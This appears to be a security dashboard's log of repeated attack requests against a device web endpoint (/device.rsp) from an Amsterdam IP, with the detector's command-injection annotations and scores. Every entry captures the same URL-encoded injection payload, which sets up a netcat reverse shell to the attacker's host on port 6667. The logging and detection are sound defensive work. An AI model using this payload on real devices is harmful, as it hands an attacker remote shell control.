—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#24 2025-09-09 18:31:50 event 20188405 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#25 2025-09-09 18:31:50 event 20188404 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#26 2025-09-09 18:31:50 event 20188405 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#27 2025-09-09 18:31:50 event 20188405 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#28 2025-09-09 18:31:50 event 20188405 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#29 2025-09-09 18:31:50 event 20188404 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#30 2025-09-09 18:31:50 event 20188404 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#31 2025-09-09 18:31:50 event 20188404 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#32 2025-09-09 17:47:09 event 20185432 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%2'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#33 2025-09-09 17:47:09 event 20185432 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#34 2025-09-09 17:47:09 event 20185432 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

Encoded command separator/newline inside suspicious parameter context. Snippet='&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#35 2025-09-09 17:47:09 event 20185432 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

#36 2025-09-09 17:47:09 event 20185432 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftm…

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo%20%2Ftmp%2Ff%3B%20%2Fbin%2Fsh%20-i%20%3C%20%2Ftmp%2Ff%202%3E%261%20%7C%20nc%20196.251.84.66%206667%20%3E%20%2Ftmp%2Ff

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc 196.251.84.66 6667 > /tmp/f -'

subnet

196.251.84.0/24

asn

—

geo

The Netherlands, North Holland, Amsterdam

org

4445 Corporation

Page 1 of 1

← Prev Next →